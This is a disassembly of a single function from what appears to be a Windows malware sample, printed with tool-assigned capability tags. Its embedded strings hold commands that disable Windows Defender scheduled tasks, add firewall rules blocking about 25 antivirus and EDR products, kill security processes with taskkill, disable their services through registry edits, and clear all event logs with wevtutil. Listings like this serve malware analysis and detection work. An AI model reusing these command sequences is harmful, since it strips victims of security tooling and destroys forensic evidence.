Function at 0x1400100a0
Capabilities:
Clear windows event logs
Reference sql statements
Reference wmi statements

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x348
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x2b0], xmm6
mov qword [rbp + 0x2a8], 0xfffffffffffffffe
lea rdx, str.cmd_Cschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cache_Maintenance___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cleanup___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Verification___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Scheduled_Scan___disableScheduled_AV_updates_disabled._n
lea rsi, [rbp - 0x30]
mov r8d, 3
mov rcx, rsi
call fcn.14004bf00
lea rdx, [0x14006776b]
mov r8d, 2
mov rcx, rsi
call fcn.14004c020
lea rdx, [0x1400676b0]
lea rcx, [rbp - 0x30]
mov r8d, 0x66
call fcn.14004c020
mov dword [rbp + 0x270], 2
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c130
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c170
lea rcx, [rbp + 0x1a8]
lea rdx, [rbp - 0x30]
call fcn.1400426d0
mov rdx, qword [rbp + 0x1a8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x14001016f
mov rcx, qword [rbp + 0x1b0]
call fcn.14000bf30
jmp 0x1400101a4
test rdx, rdx
je 0x140010186
mov rcx, qword [rbp + 0x1b0]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x1400101a4
mov rcx, qword [rbp + 0x1c8]
mov r8d, 1
call fcn.140016730
mov rcx, rsi
call fcn.140009210
lea rdx, str.cmd_Cschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cache_Maintenance___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cleanup___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Verification___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Scheduled_Scan___disableScheduled_AV_updates_disabled._n
mov r8d, 3
mov rcx, rsi
call fcn.14004bf00
lea rdx, [0x14006776b]
mov r8d, 2
mov rcx, rsi
call fcn.14004c020
lea rdx, [0x140067556]
lea rcx, [rbp - 0x30]
mov r8d, 0x82
call fcn.14004c020
mov dword [rbp + 0x270], 2
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c130
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c170
lea rcx, [rbp + 0x1a8]
lea rdx, [rbp - 0x30]
call fcn.1400426d0
mov rdx, qword [rbp + 0x1a8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x14001024a
mov rcx, qword [rbp + 0x1b0]
call fcn.14000bf30
jmp 0x14001027f
test rdx, rdx
je 0x140010261
mov rcx, qword [rbp + 0x1b0]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x14001027f
mov rcx, qword [rbp + 0x1c8]
mov r8d, 1
call fcn.140016730
mov rcx, rsi
call fcn.140009210
lea rdx, str.cmd_Cschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cache_Maintenance___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cleanup___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Verification___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Scheduled_Scan___disableScheduled_AV_updates_disabled._n
mov r8d, 3
mov rcx, rsi
call fcn.14004bf00
lea rdx, [0x14006776b]
mov r8d, 2
mov rcx, rsi
call fcn.14004c020
lea rdx, [0x1400675d8]
lea rcx, [rbp - 0x30]
mov r8d, 0x64
call fcn.14004c020
mov dword [rbp + 0x270], 2
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c130
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c170
lea rcx, [rbp + 0x1a8]
lea rdx, [rbp - 0x30]
call fcn.1400426d0
mov rdx, qword [rbp + 0x1a8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x140010325
mov rcx, qword [rbp + 0x1b0]
call fcn.14000bf30
jmp 0x14001035a
test rdx, rdx
je 0x14001033c
mov rcx, qword [rbp + 0x1b0]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x14001035a
mov rcx, qword [rbp + 0x1c8]
mov r8d, 1
call fcn.140016730
mov rcx, rsi
call fcn.140009210
lea rdx, str.cmd_Cschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cache_Maintenance___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cleanup___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Verification___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Scheduled_Scan___disableScheduled_AV_updates_disabled._n
mov r8d, 3
mov rcx, rsi
call fcn.14004bf00
lea rdx, [0x14006776b]
mov r8d, 2
mov rcx, rsi
call fcn.14004c020
lea rdx, [0x14006763c]
lea rcx, [rbp - 0x30]
mov r8d, 0x74
call fcn.14004c020
mov dword [rbp + 0x270], 2
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c130
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c170
lea rcx, [rbp + 0x1a8]
lea rdx, [rbp - 0x30]
call fcn.1400426d0
mov rdx, qword [rbp + 0x1a8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x140010400
mov rcx, qword [rbp + 0x1b0]
call fcn.14000bf30
jmp 0x140010435
test rdx, rdx
je 0x140010417
mov rcx, qword [rbp + 0x1b0]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x140010435
mov rcx, qword [rbp + 0x1c8]
mov r8d, 1
call fcn.140016730
lea rcx, [rbp - 0x30]
call fcn.140009210
lea rax, [0x140067758]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea rcx, [rbp - 0x30]
call fcn.14003ea30
mov ecx, 1
xor edx, edx
call fcn.14003c630
lea rdx, str.cmd_Cschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cache_Maintenance___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cleanup___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Verification___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Scheduled_Scan___disableScheduled_AV_updates_disabled._n
mov r8d, 3
mov rcx, rsi
call fcn.14004bf00
lea rdx, [0x14006776b]
mov r8d, 2
mov rcx, rsi
call fcn.14004c020
lea rdx, [0x140067890]
lea rcx, [rbp - 0x30]
mov r8d, 0x63
call fcn.14004c020
mov dword [rbp + 0x270], 2
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c130
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c170
lea rcx, [rbp + 0x1a8]
lea rdx, [rbp - 0x30]
call fcn.1400426d0
mov rdx, qword [rbp + 0x1a8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x140010513
mov rcx, qword [rbp + 0x1b0]
call fcn.14000bf30
jmp 0x140010548
test rdx, rdx
je 0x14001052a
mov rcx, qword [rbp + 0x1b0]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x140010548
mov rcx, qword [rbp + 0x1c8]
mov r8d, 1
call fcn.140016730
mov rcx, rsi
call fcn.140009210
lea rdx, str.cmd_Cschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cache_Maintenance___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cleanup___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Verification___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Scheduled_Scan___disableScheduled_AV_updates_disabled._n
mov r8d, 3
mov rcx, rsi
call fcn.14004bf00
lea rdx, [0x14006776b]
mov r8d, 2
mov rcx, rsi
call fcn.14004c020
lea rdx, [0x14006776d]
lea rcx, [rbp - 0x30]
mov r8d, 0x66
call fcn.14004c020
mov dword [rbp + 0x270], 2
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c130
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c170
lea rcx, [rbp + 0x1a8]
lea rdx, [rbp - 0x30]
call fcn.1400426d0
mov rdx, qword [rbp + 0x1a8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x1400105ee
mov rcx, qword [rbp + 0x1b0]
call fcn.14000bf30
jmp 0x140010623
test rdx, rdx
je 0x140010605
mov rcx, qword [rbp + 0x1b0]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x140010623
mov rcx, qword [rbp + 0x1c8]
mov r8d, 1
call fcn.140016730
mov rcx, rsi
call fcn.140009210
lea rdx, str.cmd_Cschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cache_Maintenance___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cleanup___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Verification___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Scheduled_Scan___disableScheduled_AV_updates_disabled._n
mov r8d, 3
mov rcx, rsi
call fcn.14004bf00
lea rdx, [0x14006776b]
mov r8d, 2
mov rcx, rsi
call fcn.14004c020
lea rdx, [0x1400677d3]
lea rcx, [rbp - 0x30]
mov r8d, 0x5c
call fcn.14004c020
mov dword [rbp + 0x270], 2
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c130
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c170
lea rcx, [rbp + 0x1a8]
lea rdx, [rbp - 0x30]
call fcn.1400426d0
mov rdx, qword [rbp + 0x1a8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x1400106c9
mov rcx, qword [rbp + 0x1b0]
call fcn.14000bf30
jmp 0x1400106fe
test rdx, rdx
je 0x1400106e0
mov rcx, qword [rbp + 0x1b0]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x1400106fe
mov rcx, qword [rbp + 0x1c8]
mov r8d, 1
call fcn.140016730
mov rcx, rsi
call fcn.140009210
lea rdx, str.cmd_Cschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cache_Maintenance___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cleanup___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Verification___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Scheduled_Scan___disableScheduled_AV_updates_disabled._n
mov r8d, 3
mov rcx, rsi
call fcn.14004bf00
lea rdx, [0x14006776b]
mov r8d, 2
mov rcx, rsi
call fcn.14004c020
lea rdx, [0x14006782f]
lea rcx, [rbp - 0x30]
mov r8d, 0x61
call fcn.14004c020
mov dword [rbp + 0x270], 2
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c130
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c170
lea rcx, [rbp + 0x1a8]
lea rdx, [rbp - 0x30]
call fcn.1400426d0
mov rdx, qword [rbp + 0x1a8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x1400107a4
mov rcx, qword [rbp + 0x1b0]
call fcn.14000bf30
jmp 0x1400107d9
test rdx, rdx
je 0x1400107bb
mov rcx, qword [rbp + 0x1b0]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x1400107d9
mov rcx, qword [rbp + 0x1c8]
mov r8d, 1
call fcn.140016730
lea rcx, [rbp - 0x30]
call fcn.140009210
lea rax, [0x140067918]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea rcx, [rbp - 0x30]
call fcn.14003ea30
mov ecx, 1
xor edx, edx
call fcn.14003c630
lea rax, [0x1400689f6]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 0x8f
lea rax, str.netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesWindows_DefenderNisSrv.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesMalwarebytesAnti_Malwarembamservice.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesMalwarebytesAnti_MalwareMBAMWsc.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesMcAfeeVirusScan_EnterpriseMcshield.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesMcAfeeVirusScan_EnterpriseFrameworkService.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesNorton_SecurityEngine22.21.1.151NortonSecurity.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesNorton_SecurityEngine22.21.1.151_nswscsvc.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_Files__x86_Kaspersky_LabKaspersky_Anti_Virus_21.3_avp.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_Files__x86_Kaspersky_LabKaspersky_Anti_Virus_21.3wmiav.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesBitdefender_Antivirus_vsserv.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesBitdefender_Antivirusupdatesrv.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_Files__x86_SophosSophos_Anti_VirusSavService.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_Files__x86_SophosSophos_Anti_VirusSAVAdminService.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesCrowdStrikeFalcon_AgentCSFalconService.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesCrowdStrikeFalcon_AgentCSFalconContainer.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesCarbonBlackcb.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesCarbonBlackcbstream.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesSentinelOneSentinel_AgentSentinelAgent.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesSentinelOneSentinel_AgentSentinelCmd.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesTrend_MicroOfficeScan_Client_ntrtscan.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesTrend_MicroOfficeScan_Client_tmlisten.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesWebrootWRSA.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesESETESET_Securityekrn.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesAVAST_SoftwareAvastAvastSvc.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_Files__x86_F_SecureAnti_Virus_fssm32.exe_netsh_advfirewall_firewall_add_rule_name_System_Firewall_Service__dirout_actionblock_program_C:Program_FilesCOMODOCOMODO_Internet_Security
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 0x8e
lea rax, [0x1400679b6]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 0x9c
lea rax, [0x140067a52]
mov qword [rbp], rax
mov qword [rbp + 8], 0x98
lea rax, [0x140067aea]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 0x9b
lea rax, [0x140067b85]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 0xa3
lea rax, [0x140067c28]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], 0xa8
lea rax, [0x140067cd0]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], 0xa2
lea rax, [0x140067d72]
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], 0xa8
lea rax, [0x140067e1a]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], 0xaa
lea rax, [0x140067ec4]
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], 0x93
lea rax, [0x140067f57]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], 0x96
lea rax, [0x140067fed]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], 0xa0
lea rax, [0x14006808d]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], 0xa5
lea rax, [0x140068132]
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], 0x9f
lea rax, [0x1400681d1]
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], 0xa1
lea rax, [0x140068272]
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], 0x85
lea rax, [0x1400682f7]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], 0x8b
lea rax, [0x140068382]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], 0x9f
lea rax, [0x140068421]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], 0x9d
lea rax, [0x1400684be]
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], 0x9d
lea rax, [0x14006855b]
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], 0x9d
lea rax, [0x1400685f8]
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], 0x83
lea rax, [0x14006867b]
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], 0x8e
lea rax, [0x140068709]
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], 0x94
lea rax, [0x14006879d]
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x168], 0x97
lea rax, [0x140068834]
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x178], 0x9a
lea rax, [0x1400688ce]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 0x91
lea rax, [0x14006895f]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], 0x97
mov r13d, 8
lea rdi, str.cmd_Cschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cache_Maintenance___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cleanup___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Verification___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Scheduled_Scan___disableScheduled_AV_updates_disabled._n
lea rbx, [rbp + 0x1a8]
lea r14, [0x14006776b]
lea r15, [rbp + 0x270]
jmp 0x140010af5
mov rcx, qword [rbp + 0x278]
call fcn.14000bf30
mov rcx, rbx
call fcn.140009210
add r13, 0x10
cmp r13, 0x1d8
je 0x140010bb1
mov r8d, 3
mov rcx, rbx
mov rdx, rdi
call fcn.14004bf00
mov rsi, qword [rbp + r13 - 0x38]
mov r12, qword [rbp + r13 - 0x30]
mov r8d, 2
mov rcx, rbx
mov rdx, r14
call fcn.14004c020
mov rcx, rbx
mov rdx, rsi
mov r8, r12
call fcn.14004c020
mov dword [rbp - 0x50], 2
mov rcx, rbx
lea rdx, [rbp - 0x50]
call fcn.14004c130
mov rcx, rbx
lea rdx, [rbp - 0x50]
call fcn.14004c170
mov rcx, r15
mov rdx, rbx
call fcn.1400426d0
mov rdx, qword [rbp + 0x270]
movabs rax, 0x8000000000000000
cmp rdx, rax
je 0x140010ad0
test rdx, rdx
je 0x140010b8a
mov rcx, qword [rbp + 0x278]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x288]
test rdx, rdx
je 0x140010adc
mov rcx, qword [rbp + 0x290]
mov r8d, 1
call fcn.140016730
jmp 0x140010adc
lea rax, [0x140068ac0]
mov qword [rbp + 0x1a8], rax
mov qword [rbp + 0x1b0], 1
mov qword [rbp + 0x1b8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
lea rcx, [rbp + 0x1a8]
call fcn.14003ea30
mov ecx, 1
xor edx, edx
call fcn.14003c630
mov ebx, 8
lea r15, str.MsMpEng.exeavp.exeavgsvc.exemcshield.exembamservice.exenortonsecurity.exesavservice.exewrsa.exesentinelagent.execyserver.exexagt.execb.exebdsandbox.exebdredline.exeedrsvc.exe
lea r14, [rbp - 0x30]
lea r12, [0x140068ca8]
lea r13, [rbp + 0x270]
jmp 0x140010c51
mov rcx, qword [rbp + 0x1b0]
call fcn.14000bf30
mov rcx, r14
call fcn.140009210
xor ecx, ecx
mov edx, 0xbebc200
call fcn.14003c630
add rbx, 0x10
cmp rbx, 0xf8
je 0x140010d2a
mov r8d, 8
mov rcx, r14
lea rdx, str.taskkill_IM_FWinDefendMcShieldavgsvcMBAMServicesavservicewrserviceSentinelAgentcyserverxagtCarbonBlack
call fcn.14004bf00
mov rsi, qword [rbx + r15 - 8]
mov rdi, qword [rbx + r15]
mov r8d, 2
mov rcx, r14
lea rdx, [0x140068cab]
call fcn.14004c020
mov r8d, 3
mov rcx, r14
mov rdx, r12
call fcn.14004c020
mov rcx, r14
mov rdx, rsi
mov r8, rdi
call fcn.14004c020
mov dword [rbp + 0x270], 2
mov rcx, r14
mov rdx, r13
call fcn.14004c130
mov rcx, r14
mov rdx, r13
call fcn.14004c170
lea rcx, [rbp + 0x1a8]
mov rdx, r14
call fcn.1400426d0
mov rdx, qword [rbp + 0x1a8]
movabs rax, 0x8000000000000000
cmp rdx, rax
je 0x140010c20
test rdx, rdx
je 0x140010d03
mov rcx, qword [rbp + 0x1b0]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x140010c2c
mov rcx, qword [rbp + 0x1c8]
mov r8d, 1
call fcn.140016730
jmp 0x140010c2c
lea rax, str.AV_processes_terminated._n
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea rdi, [rbp - 0x30]
mov rcx, rdi
call fcn.14003ea30
xor ebx, ebx
mov ecx, 1
xor edx, edx
call fcn.14003c630
lea rsi, str.scstartdisabledconfigstopreg_add_HKLMSYSTEMCurrentControlSetServices__v_Start__t_REG_DWORD__d_4__f
lea r13, [rbp - 0x60]
lea r14, [rbp + 0x1a8]
jmp 0x140010d8c
add rbx, 0x10
mov rcx, rdi
call fcn.140009210
cmp rbx, 0xa0
je 0x1400110ac
lea rax, [0x140068d08]
add rax, rbx
mov qword [rbp - 0x40], rax
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.14004bf00
mov rax, qword [rbp - 0x40]
mov r15, qword [rax]
mov r12, qword [rax + 8]
mov r8d, 6
mov rcx, rdi
lea rdx, [0x140068e00]
call fcn.14004c020
mov rcx, rdi
mov rdx, r15
mov r8, r12
call fcn.14004c020
mov r8d, 6
mov rcx, rdi
lea rdx, [0x140068df2]
call fcn.14004c020
mov r8d, 8
mov rcx, rdi
lea rdx, [0x140068df8]
call fcn.14004c020
mov dword [rbp - 0x60], 2
mov rcx, rdi
mov rdx, r13
call fcn.14004c130
mov rcx, rdi
mov rdx, r13
call fcn.14004c170
mov rcx, r14
mov rdx, rdi
call fcn.1400426d0
mov rdx, qword [rbp + 0x1a8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x140010e60
mov rcx, qword [rbp + 0x1b0]
call fcn.14000bf30
jmp 0x140010e95
test rdx, rdx
je 0x140010e77
mov rcx, qword [rbp + 0x1b0]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x140010e95
mov rcx, qword [rbp + 0x1c8]
mov r8d, 1
call fcn.140016730
mov rcx, rdi
call fcn.140009210
mov r8d, 2
mov rcx, rdi
mov rdx, rsi
call fcn.14004bf00
mov r8d, 4
mov rcx, rdi
lea rdx, [0x140068e06]
call fcn.14004c020
mov rcx, rdi
mov rdx, r15
mov r8, r12
call fcn.14004c020
mov rcx, rdi
mov rdx, r13
call fcn.14004c130
mov rcx, rdi
mov rdx, r13
call fcn.14004c170
mov rcx, r14
mov rdx, rdi
call fcn.1400426d0
mov rdx, qword [rbp + 0x1a8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x140010f20
mov rcx, qword [rbp + 0x1b0]
call fcn.14000bf30
jmp 0x140010f55
test rdx, rdx
je 0x140010f37
mov rcx, qword [rbp + 0x1b0]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x140010f55
mov rcx, qword [rbp + 0x1c8]
mov r8d, 1
call fcn.140016730
mov r15, rsi
mov rcx, rdi
call fcn.140009210
mov r8d, 3
mov rcx, rdi
lea rdx, str.cmd_Cschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cache_Maintenance___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Cleanup___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Verification___disableschtasks__change__tn__MicrosoftWindowsWindows_DefenderWindows_Defender_Scheduled_Scan___disableScheduled_AV_updates_disabled._n
call fcn.14004bf00
lea rax, [rbp - 0x40]
mov qword [rbp - 0x50], rax
lea rax, [0x140014520]
mov qword [rbp - 0x48], rax
lea rax, [0x140068e58]
mov qword [rbp + 0x1a8], rax
mov qword [rbp + 0x1b0], 2
mov qword [rbp + 0x1c8], 0
lea rax, [rbp - 0x50]
mov qword [rbp + 0x1b8], rax
mov qword [rbp + 0x1c0], 1
lea rcx, [rbp + 0x270]
mov rdx, r14
call fcn.14005bd00
mov rax, qword [rbp + 0x270]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp + 0x278]
mov qword [rbp + 0x1a0], rax
mov rsi, qword [rbp + 0x280]
mov r8d, 2
mov rcx, rdi
lea rdx, [0x14006776b]
call fcn.14004c020
mov rcx, rdi
mov rdx, qword [rbp + 0x1a0]
mov r8, rsi
call fcn.14004c020
mov rcx, r14
mov rdx, rdi
call fcn.1400426d0
mov rdx, qword [rbp + 0x1a8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x140011050
mov rcx, qword [rbp + 0x1b0]
call fcn.14000bf30
jmp 0x140011085
test rdx, rdx
je 0x140011067
mov rcx, qword [rbp + 0x1b0]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x140011085
mov rcx, qword [rbp + 0x1c8]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp - 0x38]
test rdx, rdx
mov rsi, r15
je 0x140010d80
mov r8d, 1
mov rcx, qword [rbp + 0x1a0]
call fcn.140016730
jmp 0x140010d80
lea rax, str.AV_services_disabled_and_hidden_from_Task_Manager._n
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
mov qword [rbp - 0x20], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea rcx, [rbp - 0x30]
call fcn.14003ea30
mov ecx, 1
xor edx, edx
call fcn.14003c630
lea rdx, str.powershell_Commandwevtutil_el__ForEach_Object__wevtutil_cl____Windows_Event_Logs_cleared._n
lea rsi, [rbp - 0x30]
mov r8d, 0xa
mov rcx, rsi
call fcn.14004bf00
lea rdx, [0x140068f9a]
mov r8d, 8
mov rcx, rsi
call fcn.14004c020
lea rdx, [0x140068eef]
lea rcx, [rbp - 0x30]
mov r8d, 0x76
call fcn.14004c020
mov dword [rbp + 0x270], 2
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c130
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x270]
call fcn.14004c170
lea rcx, [rbp + 0x1a8]
lea rdx, [rbp - 0x30]
call fcn.1400426d0
mov rdx, qword [rbp + 0x1a8]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x140011185
mov rcx, qword [rbp + 0x1b0]
call fcn.14000bf30
jmp 0x1400111ba
test rdx, rdx
je 0x14001119c
mov rcx, qword [rbp + 0x1b0]
mov r8d, 1
call fcn.140016730
mov rdx, qword [rbp + 0x1c0]
test rdx, rdx
je 0x1400111ba
mov rcx, qword [rbp + 0x1c8]
mov r8d, 1
call fcn.140016730
mov rcx, rsi
call fcn.140009210
